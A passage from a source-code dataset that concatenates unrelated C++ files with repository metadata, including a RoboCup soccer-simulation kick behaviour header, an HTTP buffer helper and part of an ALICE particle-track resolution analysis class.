Archive, class T, class A> void save(Archive& ar, const tbb::concurrent_vector<T,A>& v, const unsigned int file_version) { stl::save_collection(ar, v); } template<class Archive, class T, class A> void load(Archive& ar, tbb::concurrent_vector<T,A>& v, const unsigned int file_version) { stl::load_collection<Archive, tbb::concurrent_vector<T,A>, stl::archive_input_seq< Archive, tbb::concurrent_vector<T,A> >, stl::reserve_imp< tbb::concurrent_vector<T,A> > >(ar, v); } template<class Archive, class T, class A> void serialize(Archive& ar, tbb::concurrent_vector<T,A>& v, const unsigned int file_version) { split_free(ar, v, file_version); } template<class Archive, class T> void save(Archive& ar, const tbb::atomic<T>& v, const unsigned int file_version) { T v_ = v; ar << v_; } template<class Archive, class T> void load(Archive& ar, tbb::atomic<T>& v, const unsigned int file_version) { T v_; ar >> v_; v = v_; } template<class Archive, class T> void serialize(Archive& ar, tbb::atomic<T>& v, const unsigned int file_version) { split_free(ar, v, file_version); } } } #else #include <algorithm> #include <map> #include <boost/progress.hpp> namespace dnn { template<class T> struct vector { typedef ::std::vector<T> type; }; template<class T> struct atomic { typedef T type; static T compare_and_swap(type& v, T n, T o) { if (v != o) return v; v = n; return o; } }; template<class Iterator, class F> void do_foreach(Iterator begin, Iterator end, const F& f) { std::for_each(begin, end, f); } template<class F> void for_each_range(size_t from, size_t to, const F& f) { for (size_t i = from; i < to; ++i) f(i); } template<class Container, class F> void for_each_range(Container& c, const F& f) { BOOST_FOREACH(const typename Container::value_type& i, c) f(i); } template<class Container, class F> void for_each_range(const Container& c, const F& f) { BOOST_FOREACH(const typename Container::value_type& i, c) f(i); } struct mutex { struct scoped_lock { scoped_lock() {} scoped_lock(mutex& ) {} void acquire(mutex& ) const {} void release() const {} }; }; struct task_scheduler_init { task_scheduler_init(unsigned) {} void initialize(unsigned) {} static const unsigned automatic = 0; static const unsigned deferred = 0; }; struct task_group { template<class Functor> void run(const Functor& f) const { f(); } void wait() const {} }; template<class ID, class NodePointer, class IDTraits, class Allocator> struct map_traits { typedef std::map<ID, NodePointer, typename IDTraits::Comparison, Allocator> type; typedef type range; }; using boost::progress_timer; } #endif // TBB namespace dnn { template<class Range, class F> void do_foreach(const Range& range, const F& f) { do_foreach(boost::begin(range), boost::end(range), f); } } #endif

95534aae2f06adbc3b44e859658780f8bf0cf800

3f9081b23333e414fb82ccb970e15b8e74072c54

/bs2k/behaviors/skills/oneortwo_step_kick_bms.h

e7f968c14d8092e86a4e41ed23b6e7ac3a2558ab

no_license

rc2dcc/Brainstormers05PublicRelease

5c8da63ac4dd3b84985bdf791a4e5580bbf0ba59

2141093960fad33bf2b3186d6364c08197e9fe8e

refs/heads/master

UTF-8

C++

h

/* Brainstormers 2D (Soccer Simulation League 2D) PUBLIC SOURCE CODE RELEASE 2005 Copyright (C) 1998-2005 Neuroinformatics Group, University of Osnabrueck, Germany This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #ifndef _ONEORTWO_STEP_KICK_BMS_H_ #define _ONEORTWO_STEP_KICK_BMS_H_ /* This behavior is a port of Move_1or2_Step_Kick into the behavior framework. get_cmd will try to kick in one step and otherwise return a cmd that will start a two-step kick. There are some functions that return information about the reachable velocities and the needed steps, so that you can prepare in your code for what this behavior will do. This behavior usually takes the current player position as reference point, but you can override this by calling set_state() prior to any other function. This makes it possible to "fake" the player's position during the current cycle. Use reset_state to re-read the WS information, or wait until the next cycle. Note that kick_to_pos_with_final_vel() is rather unprecise concerning the final velocity of the ball. I don't know how to calculate the needed starting vel precisely, so I have taken the formula from the original Neuro_Kick2 move (which was even more unprecise...) and tweaked it a bit, but it is still not perfect. Note also that this behavior, as opposed to the original move, has a working collision check - the original move ignored the player's vel... (w) 2002 Manuel Nickschas */ #include "../base_bm.h" #include "one_step_kick_bms.h" #include "angle.h" #include "Vector.h" #include "tools.h" #include "cmd.h" #include "n++.h" #include "macro_msg.h" #include "valueparser.h" #include "options.h" #include "ws_info.h" #include "log_macros.h" #include "mystate.h" #include "../../policy/abstract_mdp.h" class OneOrTwoStepKickItrActions { static const Value kick_pwr_min = 20; static const Value kick_pwr_inc = 10; static const Value kick_pwr_max = 100; static const Value kick_ang_min = 0; static const Value kick_ang_inc = 2*PI/8.; // static const Value kick_ang_inc = 2*PI/36.; // ridi: I think it should be as much! too much static const Value kick_ang_max = 2*PI-kick_ang_inc; static const Value dash_pwr_min = 20; static const Value dash_pwr_inc = 20; static const Value dash_pwr_max = 100; static const Value turn_ang_min = 0; static const Value turn_ang_inc = 2*PI/18.; // static const Value turn_ang_max = 2*PI-turn_ang_inc; static const Value turn_ang_max = 0; // ridi: do not allow turns static const Value kick_pwr_steps = (kick_pwr_max-kick_pwr_min)/kick_pwr_inc + 1; static const Value dash_pwr_steps = (dash_pwr_max-dash_pwr_min)/dash_pwr_inc + 1; static const Value turn_ang_steps = (turn_ang_max-turn_ang_min)/turn_ang_inc + 1; static const Value kick_ang_steps = (kick_ang_max-kick_ang_min)/kick_ang_inc + 1; Cmd_Main action; Value kick_pwr,dash_pwr; ANGLE kick_ang,turn_ang; int kick_pwr_done,kick_ang_done,dash_pwr_done,turn_ang_done; public: void reset() { kick_pwr_done=0;kick_ang_done=0;dash_pwr_done=0;turn_ang_done=0; kick_pwr=kick_pwr_min;kick_ang= ANGLE(kick_ang_min);dash_pwr=dash_pwr_min; turn_ang=ANGLE(turn_ang_min); } Cmd_Main *next() { if(kick_pwr_done<kick_pwr_steps && kick_ang_done<kick_ang_steps) { action.unset_lock(); action.unset_cmd(); action.set_kick(kick_pwr,kick_ang.get_value_mPI_pPI()); kick_ang+= ANGLE(kick_ang_inc); if(++kick_ang_done>=kick_ang_steps) { kick_ang=ANGLE(kick_ang_min); kick_ang_done=0; kick_pwr+=kick_pwr_inc; kick_pwr_done++; } return &action; } if(dash_pwr_done<dash_pwr_steps) { action.unset_lock(); action.unset_cmd(); action.set_dash(dash_pwr); dash_pwr+=dash_pwr_inc; dash_pwr_done++; return &action; } if(turn_ang_done<turn_ang_steps) { action.unset_lock(); action.unset_cmd(); action.set_turn(turn_ang); turn_ang+= ANGLE(turn_ang_inc); turn_ang_done++; return &action; } return NULL; } }; class OneOrTwoStepKick: public BaseBehavior { static bool initialized; #if 0 struct MyState { Vector my_vel; Vector my_pos; ANGLE my_angle; Vector ball_pos; Vector ball_vel; Vector op_pos; ANGLE op_bodydir; }; #endif OneStepKick *onestepkick; OneOrTwoStepKickItrActions itr_actions; Cmd_Main result_cmd1,result_cmd2; Value result_vel1,result_vel2; bool result_status; bool need_2_steps; long set_in_cycle; Vector target_pos; ANGLE target_dir; Value target_vel; bool kick_to_pos; bool calc_done; MyState fake_state; long fake_state_time; void get_ws_state(MyState &state); MyState get_cur_state(); bool calculate(const MyState &state,Value vel,const ANGLE &dir,const Vector &pos,bool to_pos, Cmd_Main &res_cmd1,Value &res_vel1,Cmd_Main &res_cmd2,Value &res_vel2, bool &need_2steps); bool do_calc(); public: /** This makes it possible to "fake" WS information. This must be called _BEFORE_ any of the kick functions, and is valid for the current cycle only. */ void set_state(const Vector &mypos,const Vector &myvel,const ANGLE &myang, const Vector &ballpos,const Vector &ballvel, const Vector &op_pos = Vector(1000,1000), const ANGLE &op_bodydir = ANGLE(0), const int op_bodydir_age = 1000); void set_state( const AState & state ); /** Resets the current state to that found in WS. This must be called _BEFORE_ any of the kick functions. */ void reset_state(); void kick_in_dir_with_initial_vel(Value vel,const ANGLE &dir); void kick_in_dir_with_max_vel(const ANGLE &dir); void kick_to_pos_with_initial_vel(Value vel,const Vector &point); void kick_to_pos_with_final_vel(Value vel,const Vector &point); void kick_to_pos_with_max_vel(const Vector &point); /** false is returned if we do not reach our desired vel within two cycles. Note that velocities are set to zero if the resulting pos is not ok, meaning that even if a cmd would reach the desired vel, we will ignore it if the resulting pos is not ok. */ bool get_vel(Value &vel_1step,Value &vel_2step); bool get_cmd(Cmd &cmd_1step,Cmd &cmd_2step); bool get_vel(Value &best_vel); // get best possible vel (1 or 2 step) bool get_cmd(Cmd &best_cmd); // get best possible cmd (1 or 2 step) // returns 0 if kick is not possible, 1 if kick in 1 step is possible, 2 if in 2 steps. probably modifies vel int is_kick_possible(Value &speed,const ANGLE &dir); bool need_two_steps(); bool can_keep_ball_in_kickrange(); static bool init(char const * conf_file, int argc, char const* const* argv) { if(initialized) return true; initialized = true; if(OneStepKick::init(conf_file,argc,argv)) { cout << "\nOneOrTwoStepKick behavior initialized."; } else { ERROR_OUT << "\nCould not initialize OneStepKick behavior - stop loading."; exit(1); } return true; } OneOrTwoStepKick() { set_in_cycle = -1; onestepkick = new OneStepKick(); onestepkick->set_log(false); // we don't want OneStepKick-Info in our logs! } virtual ~OneOrTwoStepKick() { delete onestepkick; } }; #endif

40bc68efa1d237aacc7f1b2a5010046f0e4cf13c

4b1289b0eb41c045a24b4626857097571c988e9b

/Least_Loose_Number_In_The_Array.cpp

01dac7320be1eee1ec1af9b49c0962158327697f

no_license

Arvy1998/Calculus-and-Play-with-New-Syntax

136d942c1be8dc59d3b6d764881d7a9aea5a68cd

b442156a850dad2ed7c53ce86d3435fb35d78fe9

refs/heads/master

UTF-8

C++

cpp

#include <iostream> #include <vector> #include <algorithm> using namespace std; int main() { long long n, seka[101], MIN_TEIG = 0, count; vector <long long> izulus_teig_sk; cin >> n; for (auto x = 0; x < n; x++) { cin >> seka[x]; } for (auto i = 0; i < n; i++) { if (i == 0) { if (seka[i] > seka[i + 1]) { izulus_teig_sk.push_back(seka[i]); } } if (i > 0 && i < n - 1) { if (seka[i] > seka[i - 1] && seka[i] > seka[i + 1]) { izulus_teig_sk.push_back(seka[i]); } } if (i == n - 1) { if (seka[i] > seka[i - 1]) { izulus_teig_sk.push_back(seka[i]); } } } if (izulus_teig_sk.size() == 0 || n <= 1) { cout << "NO"; exit(0); } else { sort(izulus_teig_sk.begin(), izulus_teig_sk.end()); for (size_t j = 0; j < izulus_teig_sk.size(); j++) { if (izulus_teig_sk[j] > 0) { MIN_TEIG = izulus_teig_sk[j]; cout << MIN_TEIG; break; } } } if (MIN_TEIG == 0) { cout << "NO"; } return 0; }

0f14955c67c8ded4e0b25301b31b8648ae16b52f

4985aad8ecfceca8027709cf488bc2c601443385

/build/Android/Debug/app/src/main/include/Fuse.Resources.Resour-7da5075.h

bb740adfa48c8d9b5e34d9b3bf2a2c23882e8030

no_license

pacol85/Test1

a9fd874711af67cb6b9559d9a4a0e10037944d89

c7bb59a1b961bfb40fe320ee44ca67e068f0a827

refs/heads/master

UTF-8

C++

h

// This file was generated based on '../../AppData/Local/Fusetools/Packages/Fuse.Nodes/1.0.2/$.uno'. // WARNING: Changes might be lost if you edit this file directly. #pragma once #include <Uno.h> namespace g{namespace Fuse{namespace Resources{struct ResourceConverters;}}} namespace g{namespace Uno{namespace Collections{struct Dictionary;}}} namespace g{ namespace Fuse{ namespace Resources{ // internal static class ResourceConverters :3538 // { uClassType* ResourceConverters_typeof(); void ResourceConverters__Get_fn(uType* __type, uObject** __retval); struct ResourceConverters : uObject { static uSStrong< ::g::Uno::Collections::Dictionary*> _converters_; static uSStrong< ::g::Uno::Collections::Dictionary*>& _converters() { return ResourceConverters_typeof()->Init(), _converters_; } static uObject* Get(uType* __type); }; // } }}} // ::g::Fuse::Resources

f45da0032ec95894d113360f36e2c7e74a3b4bd2

be522f6110d4ed6f330da41a653460e4fb1ed3a7

/runtime/nf/httpparser/Buffer.cc

e4717f524b583c4cfdc3f533c545bdec74c3946c

no_license

yxd886/nfa

2a796b10e6e2085470e54dd4f9a4a3721c0d27a9

209fd992ab931f955afea11562673fec943dd8a6

refs/heads/master

UTF-8

C++

cc

#include "Buffer.h" void CBuffer_Reset(struct CBuffer& Cbuf){ if(!Cbuf.buf){ Cbuf.buf = (char*) malloc(BUFFER_SIZE); memset(Cbuf.buf,0x00,Cbuf._free); } if(Cbuf.len > BUFFER_SIZE * 2 && Cbuf.buf){ //如果目前buf的大小是默认值的2倍，则对其裁剪内存，保持buf的大小为默认值，减小内存耗费 char* newbuf = (char*) realloc(Cbuf.buf,BUFFER_SIZE); if(newbuf != Cbuf.buf) Cbuf.buf = newbuf; } Cbuf.len = 0; Cbuf._free = BUFFER_SIZE; } bool Append(struct CBuffer& Cbuf,char* p, size_t size){ if(!p || !size) return true; if(size < Cbuf._free){ memcpy(Cbuf.buf + Cbuf.len, p , size); Cbuf.len += size; Cbuf._free -= size; }else{ return false; } return true; } char* GetBuf(struct CBuffer Cbuf,uint32_t& size){ size = Cbuf.len; return Cbuf.buf; } uint32_t GetBufLen(struct CBuffer Cbuf){ return Cbuf.len; } void Buf_init(struct CBuffer& Cbuf){ Cbuf.len=0; Cbuf._free=0; Cbuf.buf=0; CBuffer_Reset(Cbuf); }

b7c78a511904d321aa74ab25ce20a44c3a3f0a0e

d51d72f1b6e834d89c8551bb07487bed84cdaa31

/src/output/osg/customCode/osg/AnimationPath_pmoc.cpp

dc66ae9496a4b899d13c9038f85bec5d8cc50019

no_license

wangfeilong321/osg4noob

221204aa15efa18f1f049548ad076ef27371ecad

99a15c3fd2523c4bd537fa3afb0b47e15c8f335a

refs/heads/master

UTF-8

C++

cpp

#include <osg/AnimationPath> //includes #include <MetaQQuickLibraryRegistry.h> #include <customCode/osg/AnimationPath_pmoc.hpp> using namespace pmoc; osg::QMLAnimationPath::QMLAnimationPath(pmoc::Instance *i,QObject* parent):QReflect_AnimationPath(i,parent){ //custom initializations } QQuickItem* osg::QMLAnimationPath::connect2View(QQuickItem*i){ this->_view=QReflect_AnimationPath::connect2View(i); ///connect this's signals/slot to its qml component//////////////////////////////////////////////////////////////// ///CustomiZE here return this->_view; } void osg::QMLAnimationPath::updateModel(){ QReflect_AnimationPath::updateModel(); ///update this according to state of _model when it has been changed via pmoc///////////////////////////////////////////// ///CustomiZE here } #ifndef AUTOMOCCPP #define AUTOMOCCPP 1 #include "moc_AnimationPath_pmoc.cpp" #endif #include <MetaQQuickLibraryRegistry.h> #include <customCode/osg/AnimationPath_pmoc.hpp> using namespace pmoc; osg::QMLAnimationPathCallback::QMLAnimationPathCallback(pmoc::Instance *i,QObject* parent):QReflect_AnimationPathCallback(i,parent){ //custom initializations } QQuickItem* osg::QMLAnimationPathCallback::connect2View(QQuickItem*i){ this->_view=QReflect_AnimationPathCallback::connect2View(i); ///connect this's signals/slot to its qml component//////////////////////////////////////////////////////////////// ///CustomiZE here return this->_view; } void osg::QMLAnimationPathCallback::updateModel(){ QReflect_AnimationPathCallback::updateModel(); ///update this according to state of _model when it has been changed via pmoc///////////////////////////////////////////// ///CustomiZE here } #ifndef AUTOMOCCPP #define AUTOMOCCPP 1 #include "moc_AnimationPath_pmoc.cpp" #endif

58b00a4202d32fd15e1533444149d9af6d0445dd

e1cda708e5087296dab0fc224a44dc8d7368c63c

/PWGPP/TPC/AliPerformanceRes.cxx

b459e100d86013154e2bec140f3af8694d0034fa

no_license

pbatzing/AliPhysics

36039c28c9670d08bb8de2bcf369840a3a191bbb

8f0962d72943081031580a544a17d6e52e74c481

refs/heads/master

UTF-8

C++

cxx

//------------------------------------------------------------------------------ // Implementation of AliPerformanceRes class. It keeps information from // comparison of reconstructed and MC particle tracks. In addtion, // it keeps selection cuts used during comparison. The comparison // information is stored in the ROOT histograms. Analysis of these // histograms can be done by using Analyse() class function. The result of // the analysis (histograms/graphs) are stored in the folder which is // a data member of AliPerformanceRes. // // Author: J.Otwinowski 04/02/2008 //------------------------------------------------------------------------------ /* // after running comparison task, read the file, and get component gROOT->LoadMacro("$ALICE_PHYSICS/PWGPP/Macros/LoadMyLibs.C"); LoadMyLibs(); TFile f("Output.root"); AliPerformanceRes * compObj = (AliPerformanceRes*)coutput->FindObject("AliPerformanceRes"); // analyse comparison data compObj->Analyse(); // the output histograms/graphs will be stored in the folder "folderRes" compObj->GetAnalysisFolder()->ls("*"); // user can save whole comparison object (or only folder with anlysed histograms) // in the seperate output file (e.g.) TFile fout("Analysed_Res.root","recreate"); compObj->Write(); // compObj->GetAnalysisFolder()->Write(); fout.Close(); */ #include "TCanvas.h" #include "TH1.h" #include "TH2.h" #include "TAxis.h" #include "TF1.h" #include "AliPerformanceRes.h" #include "AliESDEvent.h" #include "AliESDVertex.h" #include "AliESDtrack.h" #include "AliESDfriendTrack.h" #include "AliESDfriend.h" #include "AliLog.h" #include "AliMCEvent.h" #include "AliMCParticle.h" #include "AliHeader.h" #include "AliGenEventHeader.h" #include "AliStack.h" #include "AliMCInfoCuts.h" #include "AliRecInfoCuts.h" #include "AliTracker.h" #include "AliTreeDraw.h" using namespace std; ClassImp(AliPerformanceRes) Double_t AliPerformanceRes::fgkMergeEntriesCut=5000000.; //5*10**6 tracks (small default to keep default memory foorprint low) //_____________________________________________________________________________ AliPerformanceRes::AliPerformanceRes(const Char_t* name, const Char_t* title, Int_t analysisMode, Bool_t hptGenerator): AliPerformanceObject(name,title), fResolHisto(0), fPullHisto(0), // Cuts fCutsRC(0), fCutsMC(0), // histogram folder fAnalysisFolder(0) { // named constructor // SetAnalysisMode(analysisMode); SetHptGenerator(hptGenerator); Init(); } //_____________________________________________________________________________ AliPerformanceRes::~AliPerformanceRes() { // destructor if(fResolHisto) delete fResolHisto; fResolHisto=0; if(fPullHisto) delete fPullHisto; fPullHisto=0; if(fAnalysisFolder) delete fAnalysisFolder; fAnalysisFolder=0; } //_____________________________________________________________________________ void AliPerformanceRes::Init(){ // // histogram bining // // set pt bins Int_t nPtBins = 50; Double_t ptMin = 1.e-1, ptMax = 20.; Double_t *binsPt = 0; if (IsHptGenerator()) { ptMax = 100.; } binsPt = CreateLogAxis(nPtBins,ptMin,ptMax); Double_t yMin = -0.02, yMax = 0.02; Double_t zMin = -12.0, zMax = 12.0; if(GetAnalysisMode() == 3) { // TrackRef coordinate system yMin = -100.; yMax = 100.; zMin = -100.; zMax = 100.; } // res_y:res_z:res_phi,res_lambda:res_pt:y:z:eta:phi:pt Int_t binsResolHisto[10]={100,100,100,100,100,25,50,144,30,nPtBins}; Double_t minResolHisto[10]={-1.,-1.,-0.03,-0.03,-0.2, yMin, zMin, 0., -1.5, ptMin}; Double_t maxResolHisto[10]={ 1., 1., 0.03, 0.03, 0.2, yMax, zMax, 2.*TMath::Pi(), 1.5, ptMax}; fResolHisto = new THnSparseF("fResolHisto","res_y:res_z:res_phi:res_lambda:res_pt:y:z:phi:eta:pt",10,binsResolHisto,minResolHisto,maxResolHisto); //fResolHisto->SetBinEdges(9,binsPt); fResolHisto->GetAxis(9)->Set(nPtBins,binsPt); fResolHisto->GetAxis(0)->SetTitle("y-y_{mc} (cm)"); fResolHisto->GetAxis(1)->SetTitle("z-z_{mc} (cm)"); fResolHisto->GetAxis(2)->SetTitle("#phi-#phi_{mc} (rad)"); fResolHisto->GetAxis(3)->SetTitle("#lambda-#lambda_{mc} (rad)"); fResolHisto->GetAxis(4)->SetTitle("(p_{T}/p_{Tmc}-1)"); fResolHisto->GetAxis(5)->SetTitle("y_{mc} (cm)"); fResolHisto->GetAxis(6)->SetTitle("z_{mc} (cm)"); fResolHisto->GetAxis(7)->SetTitle("#phi_{mc} (rad)"); fResolHisto->GetAxis(8)->SetTitle("#eta_{mc}"); fResolHisto->GetAxis(9)->SetTitle("p_{Tmc} (GeV/c)"); fResolHisto->Sumw2(); ////pull_y:pull_z:pull_phi:pull_lambda:pull_1pt:y:z:eta:phi:pt //Int_t binsPullHisto[10]={100,100,100,100,100,50,50,30,144,nPtBins}; //Double_t minPullHisto[10]={-5.,-5.,-5.,-5.,-5.,yMin, zMin,-1.5, 0., ptMin}; //Double_t maxPullHisto[10]={ 5., 5., 5., 5., 5., yMax, zMax, 1.5, 2.*TMath::Pi(),ptMax}; //fPullHisto = new THnSparseF("fPullHisto","pull_y:pull_z:pull_phi:pull_lambda:pull_1pt:y:z:eta:phi:pt",10,binsPullHisto,minPullHisto,maxPullHisto); //pull_y:pull_z:pull_snp:pull_tgl:pull_1pt:y:z:snp:tgl:1pt //Int_t binsPullHisto[10]={100,100,100,100,100,50,50,50,50,nPtBins}; //Double_t minPullHisto[10]={-5.,-5.,-5.,-5.,-5.,yMin, zMin,-1., -2.0, ptMin}; //Double_t maxPullHisto[10]={ 5., 5., 5., 5., 5., yMax, zMax, 1., 2.0, ptMax}; Int_t binsPullHisto[10]={100,100,100,100,100,50,50,50,50,20}; Double_t minPullHisto[10]={-5.,-5.,-5.,-5.,-5.,yMin, zMin,-1., -2.0, 0.}; Double_t maxPullHisto[10]={ 5., 5., 5., 5., 5., yMax, zMax, 1., 2.0, 10.}; fPullHisto = new THnSparseF("fPullHisto","pull_y:pull_z:pull_y:pull_z:pull_snp:pull_tgl:pull_1pt:y:z:snp:tgl:1pt",10,binsPullHisto,minPullHisto,maxPullHisto); /* if(!IsHptGenerator()) fPullHisto->SetBinEdges(9,bins1Pt); fPullHisto->GetAxis(0)->SetTitle("(y-y_{mc})/#sigma"); fPullHisto->GetAxis(1)->SetTitle("(z-z_{mc})/#sigma"); fPullHisto->GetAxis(2)->SetTitle("(#phi-#phi_{mc})/#sigma"); fPullHisto->GetAxis(3)->SetTitle("(#lambda-#lambda_{mc})/#sigma"); fPullHisto->GetAxis(4)->SetTitle("(p_{Tmc}/p_{T}-1)/#sigma"); fPullHisto->GetAxis(5)->SetTitle("y_{mc} (cm)"); fPullHisto->GetAxis(6)->SetTitle("z_{mc} (cm)"); fPullHisto->GetAxis(7)->SetTitle("#eta_{mc}"); fPullHisto->GetAxis(8)->SetTitle("#phi_{mc} (rad)"); fPullHisto->GetAxis(9)->SetTitle("p_{Tmc} (GeV/c)"); fPullHisto->Sumw2(); */ fPullHisto->GetAxis(9)->Set(nPtBins,binsPt); fPullHisto->GetAxis(0)->SetTitle("(y-y_{mc})/#sigma"); fPullHisto->GetAxis(1)->SetTitle("(z-z_{mc})/#sigma"); fPullHisto->GetAxis(2)->SetTitle("(sin#phi-sin#phi_{mc})/#sigma"); fPullHisto->GetAxis(3)->SetTitle("(tan#lambda-tan#lambda_{mc})/#sigma"); fPullHisto->GetAxis(4)->SetTitle("(p_{Tmc}/p_{T}-1)/#sigma"); fPullHisto->GetAxis(5)->SetTitle("y_{mc} (cm)"); fPullHisto->GetAxis(6)->SetTitle("z_{mc} (cm)"); fPullHisto->GetAxis(7)->SetTitle("sin#phi_{mc}"); fPullHisto->GetAxis(8)->SetTitle("tan#lambda_{mc}"); fPullHisto->GetAxis(9)->SetTitle("1/p_{Tmc} (GeV/c)^{-1}"); fPullHisto->Sumw2(); // Init cuts if(!fCutsMC) AliDebug(AliLog::kError, "ERROR: Cannot find AliMCInfoCuts object"); if(!fCutsRC) AliDebug(AliLog::kError, "ERROR: Cannot find AliRecInfoCuts object"); // init folder fAnalysisFolder = CreateFolder("folderRes","Analysis Resolution Folder"); } //_____________________________________________________________________________ void AliPerformanceRes::ProcessTPC(AliStack* const stack, AliESDtrack *const esdTrack, AliESDEvent* const esdEvent) { if(!esdEvent) return; if(!esdTrack) return; if( IsUseTrackVertex() ) { // Relate TPC inner params to prim. vertex const AliESDVertex *vtxESD = esdEvent->GetPrimaryVertexTracks(); Double_t x[3]; esdTrack->GetXYZ(x); Double_t b[3]; AliTracker::GetBxByBz(x,b); Bool_t isOK = esdTrack->RelateToVertexTPCBxByBz(vtxESD, b, kVeryBig); if(!isOK) return; /* // JMT -- recaluclate DCA for HLT if not present if ( dca[0] == 0. && dca[1] == 0. ) { track->GetDZ( vtxESD->GetX(), vtxESD->GetY(), vtxESD->GetZ(), esdEvent->GetMagneticField(), dca ); } */ } // Fill TPC only resolution comparison information const AliExternalTrackParam* tmpTrack = esdTrack->GetTPCInnerParam(); if(!tmpTrack) return; AliExternalTrackParam track = *tmpTrack; Float_t dca[2], cov[3]; // dca_xy, dca_z, sigma_xy, sigma_xy_z, sigma_z esdTrack->GetImpactParametersTPC(dca,cov); // // Fill rec vs MC information // if(!stack) return; Int_t label = esdTrack->GetTPCLabel(); //Use TPC-only label for TPC-only resolution analysis if (label <= 0) return; TParticle* particle = stack->Particle(label); if(!particle) return; if(!particle->GetPDG()) return; if(particle->GetPDG()->Charge()==0) return; //printf("charge %d \n",particle->GetPDG()->Charge()); // Only 5 charged particle species (e,mu,pi,K,p) if (fCutsMC->IsPdgParticle(TMath::Abs(particle->GetPdgCode())) == kFALSE) return; // exclude electrons if (fCutsMC->GetEM()==TMath::Abs(particle->GetPdgCode())) return; Float_t deltaPtTPC, deltaYTPC, deltaZTPC, deltaPhiTPC, deltaLambdaTPC; Float_t pull1PtTPC, pullYTPC, pullZTPC, pullPhiTPC, pullLambdaTPC; Float_t mceta = particle->Eta(); Float_t mcphi = particle->Phi(); if(mcphi<0) mcphi += 2.*TMath::Pi(); Float_t mcpt = particle->Pt(); Float_t mcsnp = TMath::Sin(TMath::ATan2(particle->Py(),particle->Px())); Float_t mctgl = TMath::Tan(TMath::ATan2(particle->Pz(),particle->Pt())); // nb. TPC clusters cut if (esdTrack->GetTPCNcls()<fCutsRC->GetMinNClustersTPC()) return; // select primaries if(TMath::Abs(dca[0])<fCutsRC->GetMaxDCAToVertexXY() && TMath::Abs(dca[1])<fCutsRC->GetMaxDCAToVertexZ()) { if(mcpt == 0) return; double Bz = esdEvent->GetMagneticField(); Double_t mclocal[4]; //Rotated x,y,px,py mc-coordinates - the MC data should be rotated since the track is propagated best along x Double_t c = TMath::Cos(track.GetAlpha()); Double_t s = TMath::Sin(track.GetAlpha()); Double_t x = particle->Vx(); Double_t y = particle->Vy(); mclocal[0] = x*c + y*s; mclocal[1] =-x*s + y*c; Double_t px = particle->Px(); Double_t py = particle->Py(); mclocal[2] = px*c + py*s; mclocal[3] =-px*s + py*c; Float_t mcsnplocal = TMath::Sin(TMath::ATan2(mclocal[3],mclocal[2])); track.AliExternalTrackParam::PropagateTo(mclocal[0],Bz); deltaYTPC= track.GetY()-mclocal[1]; deltaZTPC = track.GetZ()-particle->Vz(); deltaLambdaTPC = TMath::ATan2(track.Pz(),track.Pt())-TMath::ATan2(particle->Pz(),particle->Pt()); //See comments in ProcessInnerTPC for remarks on local and global momentum coordinates for deltaPhi / pullSnp calculation deltaPhiTPC = TMath::ATan2(track.Py(),track.Px())-TMath::ATan2(particle->Py(),particle->Px()); //delta1PtTPC = (track.OneOverPt()-1./mcpt)*mcpt; deltaPtTPC = (track.Pt()-mcpt) / mcpt; pullYTPC= deltaYTPC / TMath::Sqrt(track.GetSigmaY2()); pullZTPC = deltaZTPC / TMath::Sqrt(track.GetSigmaZ2()); //Double_t sigma_lambda = 1./(1.+track.GetTgl()*track.GetTgl()) * TMath::Sqrt(track.GetSigmaTgl2()); //Double_t sigma_phi = 1./TMath::Sqrt(1-track.GetSnp()*track.GetSnp()) * TMath::Sqrt(track.GetSigmaSnp2()); pullPhiTPC = (track.GetSnp() - mcsnplocal) / TMath::Sqrt(track.GetSigmaSnp2()); pullLambdaTPC = (track.GetTgl() - mctgl) / TMath::Sqrt(track.GetSigmaTgl2()); //pullLambdaTPC = deltaLambdaTPC / TMath::Sqrt(track.GetSigmaTgl2()); //pullPhiTPC = deltaPhiTPC / TMath::Sqrt(track.GetSigmaSnp2()); if (mcpt) pull1PtTPC = (track.OneOverPt()-1./mcpt) / TMath::Sqrt(track.GetSigma1Pt2()); else pull1PtTPC = 0.; Double_t vResolHisto[10] = {deltaYTPC,deltaZTPC,deltaPhiTPC,deltaLambdaTPC,deltaPtTPC,particle->Vy(),particle->Vz(),mcphi,mceta,mcpt}; fResolHisto->Fill(vResolHisto); Double_t vPullHisto[10] = {pullYTPC,pullZTPC,pullPhiTPC,pullLambdaTPC,pull1PtTPC,particle->Vy(),particle->Vz(),mcsnp,mctgl,1./mcpt}; fPullHisto->Fill(vPullHisto); } } //_____________________________________________________________________________ void AliPerformanceRes::ProcessTPCITS(AliStack* const stack, AliESDtrack *const esdTrack, AliESDEvent* const esdEvent) { // Fill resolution comparison information (TPC+ITS) if(!esdEvent) return; if(!esdTrack) return; if( IsUseTrackVertex() ) { // Relate TPC inner params to prim. vertex const AliESDVertex *vtxESD = esdEvent->GetPrimaryVertexTracks(); Double_t x[3]; esdTrack->GetXYZ(x); Double_t b[3]; AliTracker::GetBxByBz(x,b); Bool_t isOK = esdTrack->RelateToVertexBxByBz(vtxESD, b, kVeryBig); if(!isOK) return; /* // JMT -- recaluclate DCA for HLT if not present if ( dca[0] == 0. && dca[1] == 0. ) { track->GetDZ( vtxESD->GetX(), vtxESD->GetY(), vtxESD->GetZ(), esdEvent->GetMagneticField(), dca ); } */ } Float_t dca[2], cov[3]; // dca_xy, dca_z, sigma_xy, sigma_xy_z, sigma_z esdTrack->GetImpactParameters(dca,cov); // // Fill rec vs MC information // if(!stack) return; Int_t label = TMath::Abs(esdTrack->GetLabel()); //Use global label for combined resolution analysis TParticle* particle = stack->Particle(label); if(!particle) return; if(!particle->GetPDG()) return; if(particle->GetPDG()->Charge()==0) return; //printf("charge %d \n",particle->GetPDG()->Charge()); // Only 5 charged particle species (e,mu,pi,K,p) if (fCutsMC->IsPdgParticle(TMath::Abs(particle->GetPdgCode())) == kFALSE) return; // exclude electrons if (fCutsMC->GetEM()==TMath::Abs(particle->GetPdgCode())) return; Float_t mceta = particle->Eta(); Float_t mcphi = particle->Phi(); if(mcphi<0) mcphi += 2.*TMath::Pi(); Float_t mcpt = particle->Pt(); Float_t mcsnp = 